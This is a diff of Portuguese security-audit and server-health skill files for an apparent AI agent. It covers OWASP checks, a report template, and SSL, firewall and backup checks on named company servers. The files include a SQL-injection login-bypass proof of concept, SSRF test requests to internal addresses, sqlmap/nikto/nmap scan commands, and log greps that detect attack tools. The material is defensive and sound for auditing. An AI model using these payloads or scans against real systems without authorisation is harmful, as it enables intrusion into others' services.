- [ ] Logout invalida sessão no servidor
- [ ] Session timeout (15-30 min)
- [ ] Password reset com token expirável
- [ ] Account lockout após N tentativas falhadas
- [ ] Sem user enum (login não revela se user existe)
**Testes:**
```bash
# Testar user enumeration
curl -X POST https://site.com/login \
-d "email=naoexiste@test.com&password=wrong"
# Não deve dizer "user não existe"
```
---
## A08 - Software and Data Integrity Failures
**Verificações:**
```php
// ❌ VULNERÁVEL
$data = unserialize($_GET['data']);
// ✅ SEGURO
$data = json_decode($_GET['data'], true);
```
**SRI Example:**
```html
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous"></script>
```
---
## A09 - Security Logging and Monitoring Failures
**Checklist:**
- [ ] Login attempts logged (success/fail)
- [ ] Access to sensitive data logged
- [ ] Logs não contêm passwords ou PII
- [ ] Alertas configurados para actividade suspeita
- [ ] Retenção de logs (mínimo 90 dias)
**Análise de Logs:**
```bash
# Tentativas de SQL injection
grep -i "union.*select" /var/log/nginx/access.log
# Tentativas de path traversal
grep -E "\.\./|\.\.%2F" /var/log/nginx/access.log
# Scans de vulnerabilidades
grep -E "nikto|nmap|sqlmap" /var/log/nginx/access.log
# Tentativas de login falhadas
grep "Failed password" /var/log/secure
```
---
## A10 - Server-Side Request Forgery (SSRF)
**Verificações:**
```php
// ❌ VULNERÁVEL
$url = $_GET['url'];
file_get_contents($url); // Pode aceder rede interna
// ✅ SEGURO
$url = $_GET['url'];
$parsed = parse_url($url);
if ($parsed['host'] !== 'allowed-domain.com') {
die('Invalid URL');
}
// Whitelist de domínios permitidos
```
**Testes:**
```bash
curl "https://site.com/fetch?url=http://localhost/admin"
curl "https://site.com/fetch?url=http://192.168.1.1"
```

View File

@@ -0,0 +1,237 @@
# /security-audit - Template de Relatório e Ferramentas
## Template Relatório de Segurança
```markdown
# RELATORIO DE SEGURANCA
**Sistema:** [Nome do Sistema/Aplicação]
**Data:** [YYYY-MM-DD]
**Auditor:** Security Compliance Specialist - Descomplicar®
**Scope:** [Frontend | Backend | Infra | Full Stack]
---
## EXECUTIVE SUMMARY
[2-3 parágrafos resumindo estado de segurança global]
**Score Global:** [X]/100
**CVSS Médio:** [X.X]
**Breakdown:**
- Críticos: [N] findings
- Altos: [N] findings
- Médios: [N] findings
- Baixos: [N] findings
---
## FINDINGS
### CRITICOS ([N] findings)
#### FINDING-001: SQL Injection em Login
- **Severidade:** CRÍTICO (CVSS 9.8)
- **Componente:** `login.php` linha 45
- **Categoria OWASP:** A03 - Injection
**Descrição:**
Parâmetro `username` não sanitizado, permitindo SQL injection.
**Evidência:**
```php
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
```
**Proof of Concept:**
```bash
curl -X POST https://site.com/login \
-d "username=' OR '1'='1&password=anything"
```
**Impacto:**
- Acesso total à base de dados
- Bypass de autenticação
- Exfiltração de dados de clientes
**Remediação:**
```php
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
```
**Prazo:** IMEDIATO
**Status:** OPEN
---
## OWASP TOP 10 COMPLIANCE
| # | Categoria | Status | Findings |
|---|-----------|--------|----------|
| A01 | Broken Access Control | Parcial | 2 médios |
| A02 | Cryptographic Failures | OK | 0 |
| A03 | Injection | Falha | 1 crítico, 1 alto |
| A04 | Insecure Design | Parcial | 1 médio |
| A05 | Security Misconfiguration | Atenção | 3 altos |
| A06 | Vulnerable Components | Parcial | 5 baixos |
| A07 | Auth Failures | OK | 0 |
| A08 | Data Integrity | OK | 0 |
| A09 | Logging Failures | Parcial | 1 médio |
| A10 | SSRF | OK | 0 |
---
## COMPLIANCE GDPR
- [ ] Consentimento explícito capturado
- [ ] Direito ao esquecimento implementado
- [ ] Portabilidade de dados possível
- [ ] Retenção de dados definida
- [ ] Encriptação de dados sensíveis
- [ ] Logging de acessos activo
**Score GDPR:** 75/100 (Parcialmente Conforme)
---
**Confidencial - Descomplicar® Crescimento Digital**
```
---
## Checklist GDPR Completo
### Consentimento
- [ ] Opt-in explícito (não pré-seleccionado)
- [ ] Linguagem clara
- [ ] Granular (newsletter ≠ tracking)
- [ ] Fácil de retirar
### Direitos do Titular
- [ ] Direito ao acesso (exportar dados)
- [ ] Direito à rectificação (editar dados)
- [ ] Direito ao esquecimento (delete account)
- [ ] Direito à portabilidade (formato standard)
- [ ] Direito à oposição (opt-out processing)
### Segurança
- [ ] Encriptação em trânsito (HTTPS)
- [ ] Encriptação em repouso (BD sensível)
- [ ] Passwords com hash forte (bcrypt)
- [ ] Logs de acesso a dados pessoais
- [ ] Notificação de breach (<72h)
### Documentação
- [ ] Privacy policy actualizada (última 12 meses)
- [ ] Cookie policy clara
- [ ] Terms of service
- [ ] Data processing agreement (DPA)
---
## Ferramentas de Análise
### Análise Estática (SAST)
```bash
# PHP - PHPStan
phpstan analyse --level=max src/
# PHP - Psalm
psalm --show-info=true
# PHP - Security Checker
local-php-security-checker
# JavaScript - ESLint
eslint --ext .js,.jsx src/
# Python - Bandit
bandit -r project/
```
### Análise Dinâmica (DAST)
```bash
# OWASP ZAP (headless)
zap-cli quick-scan -s all https://site.com
# Nikto
nikto -h https://site.com
# SQLMap
sqlmap -u "https://site.com/page?id=1" --batch
# Nmap
nmap -sV -sC site.com
# WPScan (WordPress)
wpscan --url https://site.com --api-token YOUR_TOKEN
```
---
## Hardening Checklist
### Sistema Operativo (Linux)
- [ ] Firewall activo (iptables/firewalld)
- [ ] SELinux/AppArmor activado
- [ ] SSH com key-based auth (não password)
- [ ] SSH não permite root login
- [ ] Fail2ban instalado e configurado
- [ ] Automatic security updates
- [ ] Portas desnecessárias fechadas
### Web Server (Nginx/Apache)
- [ ] Server tokens desactivado
- [ ] Directory listing desactivado
- [ ] Security headers configurados
- [ ] SSL/TLS configurado (A+ SSL Labs)
- [ ] Apenas TLS 1.2+ (não SSL, TLS 1.0, 1.1)
- [ ] HTTP/2 activado
### PHP
- [ ] `display_errors = Off` em produção
- [ ] `expose_php = Off`
- [ ] `open_basedir` configurado
- [ ] `disable_functions` configurado
- [ ] File uploads limitados
- [ ] OPcache activado
### MySQL
- [ ] Bind apenas localhost (se possível)
- [ ] Root sem acesso remoto
- [ ] Passwords fortes
- [ ] `skip-name-resolve`
- [ ] Slow query log activado
---
## Severidade de Findings
```
CRÍTICO (Score 9-10)
Exploração imediata possível, dados em risco
RCE, SQL Injection, Authentication Bypass
→ Corrigir IMEDIATAMENTE (<24h)
ALTO (Score 7-8.9)
Vulnerabilidade significativa
XSS Stored, CSRF, Insecure Deserialization
→ Corrigir em 24-48h
MÉDIO (Score 4-6.9)
Risco moderado
XSS Reflected, Information Disclosure, Missing Headers
→ Corrigir em 7 dias
BAIXO (Score 1-3.9)
Melhoria recomendada
Weak Password Policy, Verbose Errors, Outdated Libraries
→ Corrigir em 30 dias
```
**Cálculo CVSS v3:** https://www.first.org/cvss/calculator/3.1

View File

@@ -0,0 +1,320 @@
---
name: security-check
description: Auditoria de seguranca de infraestrutura — certificados SSL, portas abertas, actualizacoes pendentes, backups recentes, CSF/firewall e email security. Score por servidor.
context: fork
---
# /security-check v1.0 (infraestrutura)
Auditoria de seguranca dos servidores Descomplicar. Verifica SSL, portas, actualizacoes, backups, firewall e email security.
> **Auditoria de dependencias de codigo:** usar `/dep-audit` (plugin dev-tools).
**Referencia:** PROC-Security-Audit-API-Keys.md | PROC-Backup-Sistema.md | Memory: `infra.md`, `cwp-ssl-autorenew-fix.md`
---
## Servidores Alvo
| Alias | Host | IP | SO | Firewall | Gestor SSL |
|-------|------|----|----|----------|------------|
| server | server.descomplicar.pt | 176.9.3.158 | CentOS (CWP) | CSF v15 | acme.sh |
| easy | qibspu.easypanel.host | 178.63.18.51 | Ubuntu 24.04 | — | EasyPanel/Traefik |
| gateway | mcp-hub.descomplicar.pt | — | — | — | nginx/acme |
---
## Modos de Execucao
| Comando | Descricao |
|---------|-----------|
| `/security-check` | Auditoria completa (todos os servidores, todos os checks) |
| `/security-check server` | Apenas servidor CWP |
| `/security-check easy` | Apenas EasyPanel |
| `/security-check ssl` | Apenas certificados SSL (todos os servidores) |
| `/security-check quick` | Resumo rapido: SSL a expirar + backups + firewall |
---
## Protocolo de Execucao
### Check 1: Certificados SSL (server)
```bash
# Executar via mcp__ssh-unified__ssh_execute(server="server")
# Listar todos os certs e datas de expiracao
for dir in /root/.acme.sh/cwp_certs/*_ecc; do
domain=$(basename "$dir" | sed 's/_ecc$//')
cert="$dir/${domain}.cer"
if [ -f "$cert" ]; then
expiry=$(openssl x509 -enddate -noout -in "$cert" 2>/dev/null | cut -d= -f2)
days=$(( ($(date -d "$expiry" +%s) - $(date +%s)) / 86400 ))
if [ "$days" -lt 15 ]; then
echo "CRITICAL $domain expires in ${days}d ($expiry)"
elif [ "$days" -lt 30 ]; then
echo "WARN $domain expires in ${days}d ($expiry)"
else
echo "OK $domain expires in ${days}d"
fi
fi
done | sort
```
**Thresholds:**
- **OK:** >30 dias para expirar
- **WARN:** 15-30 dias
- **CRITICAL:** <15 dias
### Check 2: Portas Abertas (server)
```bash
# Portas a escutar no servidor CWP
ss -tlnp | awk 'NR>1 {print $4}' | sed 's/.*://' | sort -n | uniq
# Portas esperadas (CWP padrao):
# 22(SSH) 25(SMTP) 80(HTTP) 110(POP3) 143(IMAP) 443(HTTPS)
# 465(SMTPS) 587(Submission) 993(IMAPS) 995(POP3S)
# 2031(CWP) 2087(CWP Admin) 3306(MySQL)
# 8443(CWP SSL) 9443(SSH alternativo)
EXPECTED="22 25 80 110 143 443 465 587 993 995 2031 2087 3306 8443 9443"
# Comparar: portas abertas que NAO estao na lista esperada
ss -tlnp | awk 'NR>1 {print $4}' | sed 's/.*://' | sort -n | uniq | while read port; do
if ! echo "$EXPECTED" | grep -qw "$port"; then
proc=$(ss -tlnp | grep ":${port} " | sed 's/.*users:(("//' | cut -d'"' -f1)
echo "UNEXPECTED :${port} ($proc)"
fi
done
```
### Check 3: Actualizacoes Pendentes
```bash
# CWP Server (CentOS/dnf)
# mcp__ssh-unified__ssh_execute(server="server")
dnf check-update --quiet 2>/dev/null | grep -v "^$" | wc -l
# Se >0: listar security updates
dnf updateinfo list security 2>/dev/null | tail -10
# EasyPanel (Ubuntu/apt)
# mcp__ssh-unified__ssh_execute(server="easy")
apt list --upgradable 2>/dev/null | grep -c upgradable
# Se >0: listar security updates
apt list --upgradable 2>/dev/null | grep -i secur
```
**Thresholds:**
- **OK:** 0 security updates pendentes
- **WARN:** 1-5 security updates
- **CRITICAL:** >5 security updates OU kernel update pendente
### Check 4: Backups Recentes (server)
```bash
# mcp__ssh-unified__ssh_execute(server="server")
echo "=== MySQL Daily ==="
ls -lt /home/backup/mysql/daily/ 2>/dev/null | head -3
latest_mysql=$(find /home/backup/mysql/daily/ -name "*.sql.gz" -mtime -2 2>/dev/null | wc -l)
echo "BDs com backup <48h: $latest_mysql"
echo "=== Monthly ==="
ls -lt /home/backup/monthly/ 2>/dev/null | head -5
echo "=== Rsync Easy->Server ==="
# Verificar ultimo rsync (Easy replica para Server as 06:00)
ls -lt /gordito/backup-easy/ 2>/dev/null | head -3 || echo "path nao existe"
echo "=== Idade ultimo backup ==="
newest=$(find /home/backup/ -type f -name "*.gz" -printf '%T@\n' 2>/dev/null | sort -rn | head -1)
if [ -n "$newest" ]; then
age_hours=$(echo "scale=1; ($(date +%s) - $newest) / 3600" | bc)
echo "Backup mais recente: ${age_hours}h atras"
fi
```
**Thresholds:**
- **OK:** backup MySQL <48h, monthly <35 dias
- **WARN:** backup MySQL 48-72h, monthly 35-60 dias
- **CRITICAL:** backup MySQL >72h, monthly >60 dias
### Check 5: Firewall CSF (server)
```bash
# mcp__ssh-unified__ssh_execute(server="server")
echo "=== CSF Status ==="
csf -v
csf -l | head -5
echo "=== IPs Bloqueados ==="
wc -l /etc/csf/csf.deny
echo "Ultimos 5 bloqueios:"
tail -5 /etc/csf/csf.deny
echo "=== LFD Status ==="
systemctl is-active lfd
echo "=== Ataques Recentes (24h) ==="
grep "$(date +%b\ %d)" /var/log/lfd.log 2>/dev/null | grep -c "blocked"
```
**Thresholds:**
- **OK:** CSF activo, LFD activo, <50 bloqueios/dia
- **WARN:** >50 bloqueios/dia (possivel ataque)
- **CRITICAL:** CSF/LFD inactivo
### Check 6: Email Security (server)
```bash
# mcp__ssh-unified__ssh_execute(server="server")
# Executar script de verificacao (criado 12-03-2026)
bash /root/scripts/email-security-check.sh 2>&1 | tail -20
echo "Exit code: $?"
# Exit 0 = OK, Exit 1 = erros detectados
```
**Verifica:** Postfix header/body checks, content_filter (amavis), ClamAV, SpamAssassin, DMARC p=reject, Sieve anti-backscatter.
---
## Execucao Pratica
Agrupar comandos para minimizar chamadas SSH (3 chamadas total).
**Chamada 1 — server (SSL + portas + firewall):**
```bash
echo "=== SSL CERTS ===" && for dir in /root/.acme.sh/cwp_certs/*_ecc; do domain=$(basename "$dir" | sed 's/_ecc$//'); cert="$dir/${domain}.cer"; if [ -f "$cert" ]; then expiry=$(openssl x509 -enddate -noout -in "$cert" 2>/dev/null | cut -d= -f2); days=$(( ($(date -d "$expiry" +%s) - $(date +%s)) / 86400 )); if [ "$days" -lt 15 ]; then echo "CRITICAL ${days}d $domain"; elif [ "$days" -lt 30 ]; then echo "WARN ${days}d $domain"; else echo "OK ${days}d $domain"; fi; fi; done | sort && echo "=== PORTAS ===" && ss -tlnp | awk 'NR>1 {print $4}' | sed 's/.*://' | sort -n | uniq -c | sort -rn && echo "=== CSF ===" && csf -v && systemctl is-active lfd && wc -l /etc/csf/csf.deny && echo "Bloqueios hoje:" && grep "$(date +%b\ %d)" /var/log/lfd.log 2>/dev/null | grep -c "blocked"
```
**Chamada 2 — server (backups + updates + email sec):**
```bash
echo "=== BACKUPS ===" && echo "MySQL daily:" && find /home/backup/mysql/daily/ -name "*.sql.gz" -mtime -2 2>/dev/null | wc -l && echo "Monthly:" && ls -lt /home/backup/monthly/ 2>/dev/null | head -3 && echo "=== UPDATES ===" && dnf check-update --quiet 2>/dev/null | grep -v "^$" | wc -l && dnf updateinfo list security 2>/dev/null | tail -5 && echo "=== EMAIL SEC ===" && bash /root/scripts/email-security-check.sh 2>&1 | tail -15 && echo "Exit: $?"
```
**Chamada 3 — easy (updates + portas):**
```bash
echo "=== UPDATES ===" && apt list --upgradable 2>/dev/null | grep -v "^Listing" | wc -l && apt list --upgradable 2>/dev/null | grep -v "^Listing" | head -10 && echo "=== PORTAS ===" && ss -tlnp | grep LISTEN | wc -l && echo "=== DOCKER ===" && docker ps --format '{{.Names}}: {{.Status}}' 2>/dev/null | grep -i unhealthy && echo "=== DISCO ===" && df -h / /gordito 2>/dev/null
```
---
## Output
```markdown
## Security Check — [data via mcp-time]
### Resumo
| Servidor | SSL | Portas | Updates | Backups | Firewall | Email | Score |
|----------|-----|--------|---------|---------|----------|-------|-------|
| server | OK/WARN/CRIT | OK/WARN | OK/WARN/CRIT | OK/WARN/CRIT | OK/WARN/CRIT | OK/WARN | X/6 |
| easy | n/a | OK/WARN | OK/WARN/CRIT | n/a | n/a | n/a | X/2 |
**Score global:** X/8 checks OK
### SSL Certificados ([N] dominios verificados)
| Estado | Dominio | Expira em | Data |
|--------|---------|-----------|------|
| CRITICAL | example.pt | Xd | YYYY-MM-DD |
| WARN | example2.pt | Xd | YYYY-MM-DD |
[Se todos OK: "Todos os N certificados validos (minimo Xd)"]
### Portas Inesperadas
| Porta | Processo | Accao Sugerida |
|-------|----------|----------------|
| XXXX | processo | Investigar / Fechar |
[Se nenhuma: "Todas as portas dentro do esperado"]
### Actualizacoes Pendentes
- **server (CentOS):** N packages (M security)
- **easy (Ubuntu):** N packages
### Backups
- MySQL daily: N BDs com backup <48h [OK/WARN/CRIT]
- Monthly: ultimo em DD-MM-YYYY [OK/WARN/CRIT]
### Firewall CSF
- CSF: vXX [activo/inactivo]
- LFD: [activo/inactivo]
- IPs bloqueados: N permanentes
- Bloqueios hoje: N
### Email Security
- [resultado do script email-security-check.sh]
### Accoes Recomendadas
1. [CRITICAL] Accao imediata
2. [WARN] Accao recomendada
3. [INFO] Melhorias opcionais
```
---
## Scoring
| Score | Significado |
|-------|-------------|
| 8/8 | Excelente — tudo operacional |
| 6-7/8 | Bom — warnings menores |
| 4-5/8 | Atencao — accoes necessarias |
| <4/8 | Critico — accao imediata |
**Calculo:** 1 ponto por cada check OK. WARN conta 0.5. CRITICAL conta 0.
---
## Troubleshooting
```
SSL CRITICAL (<15d):
1. SSH server: /root/.acme.sh/acme.sh --renew -d DOMAIN --ecc
2. Copiar para /etc/pki/tls/: /scripts/autossl_install_certs
3. Reload nginx: /scripts/cwp_api webservers restart
4. Verificar Cloudflare DNS-only (proxied impede Let's Encrypt)
Ref: cwp-ssl-autorenew-fix.md
CSF/LFD inactivo:
1. csf -e (activar)
2. service lfd start
3. Verificar /etc/csf/csf.conf (TESTING = "0")
Backup MySQL >72h:
1. Verificar cron: crontab -l | grep backup
2. Verificar espaco: df -h /home/backup/
3. Verificar logs: /var/log/cron | grep backup
Muitos bloqueios CSF (>100/dia):
1. Analisar origens: awk '{print $2}' /etc/csf/csf.deny | sort | uniq -c | sort -rn | head
2. Se mesmo IP range: bloquear CIDR
3. Se paises especificos: CC_DENY em csf.conf
```
---
## Integracao
- **/today** pode invocar `/security-check quick` como parte do checkup diario
- **/infra-check** (cron) ja faz verificacao basica; `/security-check` e mais profundo e interactivo
- **/server-health** cobre metricas de performance; `/security-check` foca-se em seguranca
- **/cwp-security** foca-se em operacoes CSF; `/security-check` e auditoria abrangente
- Resultado pode ser publicado na discussao #31 (Logs) do projecto #65
---
## Anti-Patterns
- **Nunca** desactivar CSF para "resolver" problemas de acesso
- **Nunca** ignorar certificado CRITICAL (<15d) — pode expirar antes do proximo check
- **Nunca** actualizar kernel sem janela de manutencao planeada
- **Sempre** verificar email-security apos alteracoes em Postfix/AMaViS
- **Sempre** incluir timestamp via mcp-time no output
---
*Skill v1.0.0 | 12-03-2026 | Descomplicar*

View File

@@ -1,28 +1,41 @@
---
name: server-health
description: Server health monitoring and diagnostics. Checks system resources, services
status, and identifies issues. Use when user mentions "server health", "system check",
"server status", "resource monitoring", "server diagnostics".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 75
user_invocable: true
desk_task: 1484
description: Diagnostico completo de servidor -- monitorizacao de recursos, estado de servicos e identificacao de problemas de performance.
---
# /server-health - Diagnóstico Completo de Servidor
# /server-health - Diagnostico Completo de Servidor
Checklist sistemático para diagnosticar problemas de performance ou auditar estado do servidor CWP.
Checklist sistematico para diagnosticar problemas de performance ou auditar estado do servidor CWP.
---
## Servidor Alvo
## Contexto NotebookLM
Consultar ANTES de executar para contexto especializado:
| Notebook | ID | Consultar quando |
|----------|-----|-----------------|
| Cloud e Infraestrutura TI | f9a79b5a-649f-4443-afaf-7ff562b6c2e7 | Sempre |
```
mcp__notebooklm__notebook_query({
notebook_id: "f9a79b5a-649f-4443-afaf-7ff562b6c2e7",
query: "<adaptar ao contexto do pedido>"
})
```
### Procedimentos relacionados
- [PROC-Backup-Sistema.md](file:///media/ealmeida/Dados/Hub/06-Operacoes/Procedimentos/D7-Tecnologia/Seguranca/PROC-Backup-Sistema.md)
---
## Servidor alvo
| Servidor | IP | MCP | User |
|----------|-----|-----|------|
| **CWP Principal** | 176.9.3.158 | ssh-unified | root |
**Acesso:**
```javascript
mcp__ssh-unified__ssh_execute({
server: "server",
@@ -32,446 +45,58 @@ mcp__ssh-unified__ssh_execute({
---
## Modos de Execução
## Modos de execucao
| Comando | Descrição |
| Comando | Descricao |
|---------|-----------|
| `/server-health` | Diagnóstico completo (todos os checks) |
| `/server-health quick` | Apenas métricas críticas (load, RAM, disco) |
| `/server-health` | Diagnostico completo (todos os checks) |
| `/server-health quick` | Apenas metricas criticas (load, RAM, disco) |
| `/server-health mysql` | Focus em MySQL e bases de dados |
| `/server-health ssl` | Verificação de todos os certificados SSL |
| `/server-health ssl` | Verificacao de todos os certificados SSL |
| `/server-health sites` | Status de todos os sites WordPress |
---
## Workflow Completo
## Workflow completo
### Passo 1: Sistema (Paralelo)
Executar os 7 passos em sequencia. Comandos detalhados para cada passo em:
**Executar em paralelo:**
**-> [references/commands.md](references/commands.md)**
```bash
# Load average (3 valores: 1min, 5min, 15min)
uptime
### Passo 1: Sistema (paralelo)
# RAM e Swap
free -h
# Espaço em disco
df -h
# Top processos CPU
top -bn1 | head -20
# Load numérico
cat /proc/loadavg
# CPU/IO statistics
vmstat 1 3
# Processos específicos (Apache, MySQL, Nginx)
ps aux | grep -E 'httpd|mysql|nginx' | grep -v grep
```
**Validação:**
- ✅ Load 1min <2 → OK
- ⚠️ Load 1min 2-5 → Warning
- ❌ Load 1min >5 → Critical
- ✅ RAM <70% → OK
- ❌ Swap >10% → Investigar causa
Recolher: load average, RAM, swap, disco, top processos CPU.
### Passo 2: MySQL
```bash
# Status geral MySQL
mysqladmin status
# Processos activos
mysqladmin processlist | head -20
# Threads conectadas
mysql -e "SHOW GLOBAL STATUS LIKE 'Threads%';"
# Slow queries
mysql -e "SHOW GLOBAL STATUS LIKE 'Slow_queries';"
# Tamanho das BDs
mysql -e "SELECT table_schema AS 'Database',
ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)'
FROM information_schema.TABLES
GROUP BY table_schema
ORDER BY SUM(data_length + index_length) DESC
LIMIT 10;"
# Verificar se há tabelas corrompidas
mysqlcheck --all-databases --check
```
**Queries Críticas:**
```sql
-- Ver queries lentas em execução
SELECT id, user, host, db, command, time, state, LEFT(info, 100) as query
FROM information_schema.PROCESSLIST
WHERE command != 'Sleep'
AND time > 5
ORDER BY time DESC;
-- BDs maiores que 500MB
SELECT table_schema,
ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb
FROM information_schema.TABLES
GROUP BY table_schema
HAVING size_mb > 500
ORDER BY size_mb DESC;
```
Recolher: status geral, processos activos, threads, slow queries, tamanho BDs, tabelas corrompidas.
### Passo 3: Web Servers
```bash
# Status Apache
systemctl status httpd --no-pager | head -15
# Status Nginx
systemctl status nginx --no-pager | head -15
# Testar localhost
curl -sI localhost | head -10
# Verificar GZIP
curl -sI -H 'Accept-Encoding: gzip' localhost | grep -i encoding
# Conexões activas
netstat -an | grep :80 | wc -l
netstat -an | grep :443 | wc -l
# Workers Apache
ps aux | grep httpd | wc -l
# Virtual hosts configurados
httpd -S 2>&1 | grep -E 'port|namevhost' | head -20
```
Verificar: Apache, Nginx, conexoes activas, GZIP, virtual hosts.
### Passo 4: PHP
```bash
# Versão PHP
php -v | head -1
# Memory limit
php -i | grep memory_limit
# OPcache status
php -i | grep -E 'opcache.enable|opcache.memory_consumption'
# Processos PHP-FPM
ps aux | grep php-fpm | wc -l
# Configuração PHP-FPM (se existir)
php-fpm -tt 2>&1 | head -30
```
Verificar: versao, memory limit, OPcache, PHP-FPM workers.
### Passo 5: SSL/Certificados
```bash
# Listar todos os certificados instalados
ls -lh /root/.acme.sh/cwp_certs/
Listar certificados, verificar renovacoes, testar dominios especificos.
# Verificar próximas renovações (todos os domínios)
for d in $(ls /root/.acme.sh/cwp_certs/); do
echo "=== $d ==="
grep -E 'Le_NextRenewTimeStr|Le_Alt' /root/.acme.sh/cwp_certs/$d/*.conf 2>/dev/null | head -3
done
### Passo 6: Seguranca
# Verificar certificados activos em Nginx
for conf in /etc/nginx/vhosts/*.conf; do
domain=$(basename $conf .conf)
echo "=== $domain ==="
grep -E 'ssl_certificate|server_name' $conf | head -3
done
# Testar um domínio específico
echo | openssl s_client -connect DOMINIO:443 2>/dev/null | openssl x509 -noout -dates -subject
# Log de renovações recentes
tail -100 /root/.acme.sh/acme.sh.log | grep -E 'Renew|error|success'
```
**Validação SSL:**
- ✅ Renovação >30 dias → OK
- ⚠️ Renovação 15-30 dias → Avisar
- ❌ Renovação <15 dias → Urgente
### Passo 6: Segurança
```bash
# Fail2ban status
systemctl status fail2ban --no-pager 2>/dev/null || echo 'fail2ban não instalado'
# Jails activos
fail2ban-client status 2>/dev/null | head -10
# IPs banidos
fail2ban-client status sshd 2>/dev/null | grep "Banned IP"
# Portas abertas
netstat -tlnp | grep LISTEN | head -20
# Últimos logins SSH
last -10
# Tentativas SSH falhadas
grep "Failed password" /var/log/secure | tail -20
# Firewall activo?
systemctl status firewalld --no-pager || iptables -L -n | head -20
```
Verificar: Fail2ban, portas abertas, logins SSH, firewall.
### Passo 7: Sites WordPress
```bash
# Verificar todos os sites WordPress
for dir in /home/*/public_html; do
if [ -f "$dir/wp-config.php" ]; then
domain=$(basename $(dirname $dir))
echo "=== $domain ==="
# Versão WordPress
grep "wp_version = " $dir/wp-includes/version.php | head -1
# Tamanho wp-content
du -sh $dir/wp-content
# Plugins activos (via BD se possível)
# Testar acesso HTTP
curl -sI "http://$domain" | head -3
fi
done
# Script de verificação completo
/root/scripts/check-wp-sites.sh 2>/dev/null || echo "Script não existe"
```
Verificar todos os sites: versao WP, tamanho wp-content, acesso HTTP.
---
## Template de Output
## Thresholds de alertas
```markdown
# 🔍 Server Health Report - YYYY-MM-DD HH:MM
## ⚡ Resumo Executivo
| Métrica | Valor | Status | Limite |
|---------|-------|--------|--------|
| Load (1m) | X.XX | ✅/⚠️/❌ | <2 |
| RAM Usada | XX% | ✅/⚠️/❌ | <70% |
| Swap Usado | XX% | ✅/⚠️/❌ | <10% |
| Disco / | XX% | ✅/⚠️/❌ | <70% |
| MySQL Threads | XX | ✅/⚠️/❌ | <50 |
| Slow Queries | XX | ✅/⚠️/❌ | <10 |
| Sites WP OK | XX/YY | ✅/⚠️/❌ | 100% |
| SSL Expiring | XX | ✅/⚠️/❌ | 0 |
**Health Score:** XX/100
---
## 🚨 Alertas Críticos
> [!danger] CRÍTICO
> - Load >5 há 10 minutos (possível loop infinito)
> - Swap 45% usado (memória insuficiente)
> [!warning] ATENÇÃO
> - 3 sites WordPress com erros HTTP 500
> - Certificado SSL solarfv360.pt expira em 12 dias
---
## 📊 Detalhes
### Sistema
```
Uptime: 45 days, 12:34
Load Average: 2.15, 1.89, 1.56
RAM: 12.5 GB / 16 GB (78%) ⚠️
Swap: 1.2 GB / 4 GB (30%) ❌
Disco /: 85 GB / 200 GB (42%) ✅
```
**Top Processos CPU:**
```
PID USER %CPU %MEM COMMAND
1234 mysql 45.2 12.3 mysqld
5678 apache 8.5 2.1 httpd
```
### MySQL
**Status:**
- Uptime: 1,234,567 seconds
- Threads conectadas: 23 / 151 ✅
- Slow queries: 145 (total) ⚠️
- Queries/segundo: ~150
**BDs Grandes (>500MB):**
| Base de Dados | Tamanho |
|---------------|---------|
| ealmeida_desk24 | 1,234 MB |
| carstuff_prod | 856 MB |
**Queries Lentas Activas:**
```
id: 12345 | user: wp_user | time: 45s
query: SELECT * FROM wp_posts WHERE...
```
### Web
**Apache:** ✅ Activo (145 workers)
**Nginx:** ✅ Activo (proxy reverso)
**Conexões:**
- HTTP (80): 23 conexões
- HTTPS (443): 67 conexões
**GZIP:** ✅ Activo
### PHP
**Versão:** PHP 8.1.27
**Memory Limit:** 256M
**OPcache:** ✅ Activo (128MB)
**PHP-FPM Workers:** 12
### SSL
**Certificados Instalados:** 34
**Renovações Próximas (<30 dias):**
| Domínio | Expira em | Status |
|---------|-----------|--------|
| solarfv360.pt | 12 dias | ⚠️ Renovar |
| emanuelalmeida.pt | 28 dias | ⚠️ Avisar |
**Problemas:**
- ❌ certificado_antigo.pt - Expirado há 5 dias
### Segurança
**Fail2ban:** ✅ Activo
**Jails:** sshd, apache-auth, nginx-limit
**IPs Banidos:** 45 (último: 123.45.67.89)
**Portas Abertas:**
- 22 (SSH) ✅
- 80 (HTTP) ✅
- 443 (HTTPS) ✅
- 3306 (MySQL) ⚠️ Público (deveria ser localhost only)
**Últimas Tentativas SSH Falhadas:**
```
2026-02-03 10:15 - Invalid user admin from 192.168.1.100
2026-02-03 09:45 - Failed password for root from 45.67.89.10
```
### Sites WordPress
**Total:** 15 sites
**OK:** 12 (80%) ✅
**Erros:** 3 (20%) ❌
**Sites com Erro:**
| Domínio | Erro | Acção |
|---------|------|-------|
| site-antigo.pt | HTTP 500 | Verificar error_log |
| teste.descomplicar.pt | HTTP 404 | Site desactivado? |
---
## 📋 Recomendações Prioritárias
### 🔴 URGENTE (Hoje)
1. ⚠️ Reduzir uso de Swap (45%) - Investigar processos
2. ❌ Renovar SSL solarfv360.pt (12 dias restantes)
3. ❌ Corrigir sites com HTTP 500 (3 sites)
### 🟡 IMPORTANTE (Esta Semana)
4. ⚠️ Optimizar queries lentas MySQL (145 total)
5. ⚠️ Limpar BDs grandes (ealmeida_desk24 1.2GB)
6. ⚠️ Fechar porta MySQL 3306 ao público
### 🟢 MELHORIAS (Mês)
7. ✅ Configurar alertas automáticos para Swap >20%
8. ✅ Criar backup automático de certificados SSL
9. ✅ Actualizar PHP para 8.2 (actualmente 8.1)
---
## 🔧 Troubleshooting Sugerido
### Swap Alto (>30%)
```bash
# Ver o que está a usar memória
ps aux --sort=-%mem | head -10
# Limpar swap (CUIDADO!)
swapoff -a && swapon -a
```
### Load Alto (>5)
```bash
# Ver processos por CPU
ps aux --sort=-%cpu | head -10
# Ver I/O wait
iostat -x 1 5
# Identificar processo problemático
top -bn1 | head -20
```
### MySQL Lento
```bash
# Ver queries activas
mysqladmin processlist
# Ver slow query log
tail -50 /var/log/mysql/slow.log
# Optimizar tabelas
mysqlcheck --optimize --all-databases
```
### Sites WordPress com Erro
```bash
# Ver error log
tail -100 /home/USER/logs/error.log
# Verificar permissões
ls -lh /home/USER/public_html/wp-content
# Corrigir permissões
chown -R USER:USER /home/USER/public_html/wp-content
```
---
